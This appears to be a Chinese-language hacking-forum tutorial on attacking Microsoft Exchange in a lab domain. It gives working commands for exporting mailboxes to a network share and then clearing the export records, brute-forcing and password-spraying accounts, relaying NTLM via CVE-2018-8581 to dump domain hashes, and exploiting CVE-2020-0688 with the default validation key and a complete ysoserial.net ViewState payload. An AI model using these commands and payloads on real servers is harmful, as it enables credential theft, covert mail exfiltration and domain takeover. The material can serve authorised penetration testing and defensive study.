標題:Exchange 漏洞利用

taibeihacker

Moderator

Exchange 漏洞利用​

1 安装​

安裝過程可參考:微軟官方文檔和博客
整體分為三步:
滿足前置條件
構建域中的結構
Setup.exe /PrepareSchema /IAcceptExchangeServerLicenseTerms
Setup.exe /PAD /OrganizationName:PentestLab /IAcceptExchangeServerLicenseTerms
Setup.exe 安裝
202110161506993.png-water_print

2 背景​

Exchange Server 是微軟公司的一套电子邮件服务组件,是個消息與協作系統。 簡單而言,Exchange server 可以被用來構架應用於企業、學校的郵件系統。 Exchange server 還是一個協作平台。在此基礎上可以開發工作流,知識管理系統,Web 系統或者是其他消息系統。

2.1 相关概念​

2.1.1 邮件服务器角色​

郵件服務器
該角色是提供託管郵箱、公共文件夾以及相關的消息數據(如地址列表)的後端組件,是必選的服務器角色。
客戶端訪問服務器
接收和處理來自於不同客戶端的請求的中間層服務器角色,該角色服務器提供了對使用不同協議進行訪問的支持,每個Exchange 環境中至少需要部署一個客戶端訪問服務器,客戶端訪問服務器提供了對以下不同接口訪問Exchange 服務器的處理。
集線傳輸服務器
或稱中心傳輸服務器,該服務器角色的核心服務就是Microsoft Exchange Transport,負責處理Mail Flow(這又是Exchange中的一大知識點,Exchange 管理員需要通過MailFlow 實現郵件出站與進站配置)、對郵件進行路由、以及在Exchange 組織中進行分發,該服務器角色處理所有發往屬於本地郵箱的郵件和發往外部郵箱的郵件,並確保郵件發送者和接收者的地址被正確解析並執行特定策略(如郵件地址過濾、內容過濾、格式轉換等),該服務器角色相當於一個郵件傳輸的中繼站點,每個Exchange 環境中至少需要部署一個集線傳輸服務器。
統一消息服務器
將專用交換機(private branch exchange/PBX) 和Exchange Server 集成在一起,以允許郵箱用戶可以在郵件中發送存儲語音消息和傳真消息,可選角色。
邊緣消息服務器
該服務器角色作為專用服務器可以用於路由發往內部或外部的郵件,通常部署於網絡邊界並用於設置安全邊界。其接受來自內部組織的郵件和來自外部可信服務器的郵件,然後應用特定的反垃圾郵件、反病毒策略,最後將通過策略篩選的郵件路由到內部的集線傳輸服務器,可選角色。
在Exchange Server 2013 及以後的版本中,服務器角色精簡為三個,分別是郵箱服務器、客戶端訪問服務器和邊緣傳輸服務器,其中郵箱服務器角色和客戶端訪問服務器角色通常被安裝在同一台服務器中。

2.1.2 客户端/远程访问接口和协议​

OWA - Outlook Web App
客戶端登錄使用,地址通常為http://doamin/owa/
ECP - Exchange Administrative Center
管理中心,管理員用於管理組織中的Exchange 的Web 控制台,地址通常為http://domain/ecp/
EWS - Exchange Web Service
網絡管理接口。 Exchange 提供了一套API 編程接口可供開發者調用,用於訪問Exchange 服務器,與郵件、聯繫人、日曆等功能進行交互和管理操作,在Exchange Server 2007 中被提出。微軟基於標準的Web Service 開發EWS,EWS 實現的客戶端與服務端之間通過基於HTTP 的SOAP 交互。

2.2 服务发现​

2.2.1 基于端口扫描发现​

25 端口SMTP 指紋顯示Exchange smtpd
80 端口為iis
443 端口開放

2.2.2 SPN 查询​

1
setspn -T pentest.com -F -Q */*

2.3 exchange 基本操作​

查看MailBox 數據庫
1
2
Add-pssnapin microsoft.exchange*
Get-MailboxDatabase -server 'Exchange'
202110161518726.png-water_print

查看指定用戶郵箱使用信息
1
Get-Mailboxstatistics -identity administrator | Select DisplayName,ItemCount,TotalItemSize,LastLogonTime
202110161518938.png-water_print

查看全部用戶郵箱使用信息
1
Get-Mailbox -ResultSize Unlimited | Get-MailboxStatistics | Sort-Object TotalItemSize

2.4 导出指定邮件​

2.4.1 配置用户的导入、导出权限​

查看用戶權限
1
2
# 查看具有導出權限的用戶
Get-ManagementRoleAssignment -role 'Mailbox Import Export' | Format-List RoleAssigneeName
添加用戶角色權限
1
New-ManagementRoleAssignment -Name 'Import Export_Domain Admins' -User 'Administrator' -Role 'Mailbox Import Export'
刪除用戶權限
1
New-ManagementRoleAssignment 'Import Export_Domain Admins' -Confirm:$false
設置網絡共享文件夾
1
net share inetpub=c:\inetpub /grant:everyone,full
導出郵件
1
New-MailboxExportRequest -Mailbox administrator -FilePath \\IP\inetpub\administrator.pst

2.4.2 清理痕迹​

查看之前的導出記錄
1
Get-MailboxExportRequest
將指定用戶的已完成導出請求刪除
1
Remove-MailboxExportRequest -Identify Administrator\mailboxexport
將所有已完成導出的請求刪除
1
Get-MailboxExportRequest -Status Completed | Remove-MailboxExportRequest

3 Exchange 在域中的权限​

查看Exchange 服務器的隸屬關係,發現其屬於:Exchange Security Groups
202110161530352.png-water_print

再跟進CN=Exchange Trusted Subsystem,OU=Microsoft Exchange Security Groups,DC=pentest,DC=lab
202110161534731.png-water_print

該組又隸屬於CN=Exchange Windows Permissions,OU=Microsoft Exchange Security Groups,DC=pentest,DC=lab,該組包含通過管理服務代表用戶運行Exchange cmdlet 的Exchange 服務器。其成員有權讀取和修改所有Windows 帳戶和組。
簡單來說,就是Exchange 服務器有權限修改域內任意用戶的ACL。
因此,可以利用Exchange 修改用戶ACL,然後在利用Dcsync 來dump hash。

4 Exchange 接口利用​

上文提到,Exchange 提供了多種客戶端郵箱接口和服務接口,對於滲透測試人員而言,這些接口就是踏入Exchange 內部的第一道關卡,提供服務的接口需要有效的用戶憑證信息,顯然,用戶名與密碼破解是擺在面前的第一個嘗試。在企業域環境中,Exchange 與域服務集合,域用戶賬戶密碼就是Exchange 郵箱的賬戶密碼,因此,如果通過暴力破解等手段成功獲取了郵箱用戶密碼,在通常情況下也就間接獲得了域用戶密碼。

4.1 利用自动发现服务进行暴力破解​

Autodiscover 自動發現服務使用Autodiscover.xml 配置文件來對用戶進行自動設置,獲取該自動配置文件需要用戶認證,如訪問http://exchange.pentest.lab/Autodiscover/Autodiscover.xml 文件將提示需要認證,如下為認證通過,將獲取到如下的XML 文件內容:
202110161545086.png-water_print

利用這個接口,可以對郵箱賬號做暴力破解。 Ruler 提供了對Exchange 的自動配置文件接口進行認證的暴力破解,通過配置線程數、間隔時間可以限制破解速度防止多次登陸失敗觸發告警或賬戶被封禁。
1
./ruler --url https://172.16.147.4/autodiscover/autodiscover.xml --domain pentest.lab --insecure brute --users user.txt --passwords pass.txt --delay 0 --verbose
202110161556191.png-water_print

4.2 Password Spray​

password spray 同樣是一種破解賬戶密碼的方法,與常規的暴力破解方法不同的是,password spary 針對一批賬戶進行破解,每次對單個用戶賬戶進行一次或少數次登陸嘗試後換用下一個用戶進行嘗試,如此反復進行並間隔一定時間,以此方法躲避多次暴力破解的檢測和賬戶鎖定的風險。
mailsniper 提供分別針對OWA 接口、EWS 接口和ActiveSync 接口的password spray。
1
Invoke-PasswordSprayEWS -ExchHostname exchange.pentest.lab -UserList .\user.txt -Password 123456 -ExchangeVersion Exchange2016
202110161601869.png-water_print

5 利用 Exchange 接管域控​

5.1 CVE-2018-8581 SSRF 漏洞​

5.1.1 漏洞描述​

Exchange 允許任意用戶通過EWS 接口來創建一個推送訂閱(Push Subscription),並可以指定任意URL 作為通知推送的目的地; 當觸發推送時,Exchange 使用了CredentialCache 類的DefaultCredentials 屬性,當使用DefaultCredentials 時發出的HTTP 請求將使用該權限發起NTLM 認證; 在EWS 請求中,通過在Header 中使用SerializedSecurityContext,指定SID 可以實現身份偽裝,從而以指定用戶身份進行EWS 調用操作。
即從HTTP relay 到LDAP 的NTLM Relay 攻擊。

5.1.2 受影响的系统版本​

Exchange Server 2010 ~ Exchange Server 2016

5.1.3 漏洞复现​

漏洞利用到兩個工具:
impacket
PrivExchange
首先在本機啟動NTLM 中繼,進入到impacket 的examples 目錄執行
1
python2 ntlmrelayx.py -t ldap://pentest.lab --escalate-user hacker
pentest.lab 是域的名稱
--escalate-user 的參數是Exchange 的普通權限用戶名。
1
python2 privexchange.py -ah 172.16.147.1 172.16.147.4 -u hacker -p 'hack123aB' -d pentest.lab
-ah 參數指定攻擊者IP,在這里為172.16.147.1
172.16.147.4 為Exchange 服務器在域的名稱或者IP地址-u 指定需要提權的Exchange 的普通權限用戶名-p指定Exchange 的普通權限用戶的密碼-d 指定域的名稱
導出域內hash:
1
python2 secretsdump.py pentest.lab/[email protected] -just-dc

5.2 CVE-2020-0688 反序列化漏洞​

5.2.1 漏洞描述​

與正常軟件安裝每次都會產生隨機密鑰不同,所有Exchange Server 在安裝後的web.config 文件中都擁有相同的validationKey 和decryptionKey。這些密鑰用於保證ViewState 的安全性。
而ViewState 是ASP.NET Web 應用以序列化格式存儲在客戶機上的服務端數據。客戶端通過__VIEWSTATE 請求參數將這些數據返回給服務器。攻擊者可以在Exchange Control Panel web 應用上執行任意.net 代碼。
當攻擊者通過各種手段獲得一個可以訪問Exchange Control Panel (ECP)組件的用戶賬號密碼時。攻擊者可以在被攻擊的exchange 上執行任意代碼,直接獲取服務器權限。
具體原理可以參考:CVE-2020-0688的武器化與.net反序列化漏洞那些事

5.2.2 受影响的系统版本​

Microsoft Exchange Server 2010 Service Pack 3
Microsoft Exchange Server 2013
Microsoft Exchange Server 2016
Microsoft Exchange Server 2019

5.2.3 漏洞复现​

5.2.3.1 前提​

首先,需要獲取4 個參數:
validationkey 該參數為默認,為漏洞產生的原因
CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF
validationalg 默認
SHA1
generator
viewstateuserkey
在這四個變量中,前兩個為默認固定,viewstateuserkey 和generator 的值需要從經過身份驗證的session 中收集。 viewstateuserkey 可以從ASP.NE T的_SessionID cookie 中獲取,而generator 可以在一個隱藏字段__VIEWSTATEGENERATOR 中找到。

5.2.3.2 参数获取​

在正常登錄後訪問/ecp/default.aspx 頁面。使用burpsuite 抓包發repeater,找到登錄時/ecp/default.aspx 的原始響應。
找到ASP.NET_SessionId 的cookie:
1
ASP.NET_SessionId=d7d6614a-4959-4989-a3d1-27e6efd8875d
搜索__VIEWSTATEGENERATOR 獲取字段值:
1
B97B4E27
202110171911990.png-water_print

5.2.3.3 生成 payload​

需要用到ysoserial.net
生成執行程序的payload
1
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c 'calc.exe' --validationalg='SHA1' --validationkey='CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF' --generator='B97B4E27' --viewstateuserkey='d7d6614a-4959-4989-a3d1-27e6efd8875d' --isdebug --islegacy
得到:
1
/wEylAcAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzN jRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAC2BTw/eG1sIHZlcn Npb249IjEuMCIgZW5jb2Rpbmc9InV0Zi04Ij8+DQo8T2JqZWN0RGF0YVByb3ZpZGVyIE1ldGhvZE5hbWU9IlN0YXJ0IiBJc0luaXRpYWxMb2FkRW5hYmxlZD0iRmFsc2UiIHhtbG5zPSJodHRwOi8vc2NoZW1 hcy5taWNyb3NvZnQuY29tL3dpbmZ4LzIwMDYveGFtbC9wcmVzZW50YXRpb24iIHhtbG5zOnNkPSJjbHItbmFtZXNwYWNlOlN5c3RlbS5EaWFnbm9zdGljczthc3NlbWJseT1TeXN0ZW0iIHhtbG5zOng9Imh0 dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sIj4NCiAgPE9iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCiAgICA8c2Q6UHJvY2Vzcz4NCiAgICAgIDxzZDpQcm9jZ XNzLlN0YXJ0SW5mbz4NCiAgICAgICAgPHNkOlByb2Nlc3NTdGFydEluZm8gQXJndW1lbnRzPSIvYyBjYWxjLmV4ZSIgU3RhbmRhcmRFcnJvckVuY29kaW5nPSJ7eDpOdWxsfSIgU3RhbmRhcmRPdXRwdXRFbm NvZGluZz0ie3g6TnVsbH0iIFVzZXJOYW1lPSIiIFBhc3N3b3JkPSJ7eDpOdWxsfSIgRG9tYWluPSIiIExvYWRVc2VyUHJvZmlsZT0iRmFsc2UiIEZpbGVOYW1lPSJjbWQiIC8+DQogICAgICA8L3NkOlByb2N lc3MuU3RhcnRJbmZvPg0KICAgIDwvc2Q6UHJvY2Vzcz4NCiAgPC9PYmplY3REYXRhUHJvdmlkZXIuT2JqZWN0SW5zdGFuY2U+DQo8L09iamVjdERhdGFQcm92aWRlcj4LSXUwoXG5VzeGJVCJLwnNz8xsRfw=
生成完payload 代碼後,需要對該代碼中的特殊字符進行URL Encode 編碼構造一個URL:
1
/ecp/default.aspx?__VIEWSTATEGENERATOR=generator__VIEWSTATE=ViewState
將最開始獲得的__VIEWSTATEGENERATOR 值替換generator,將URL Encode 編碼後的payload 替換ViewState。
202110171917764.png-water_print
 
返回
上方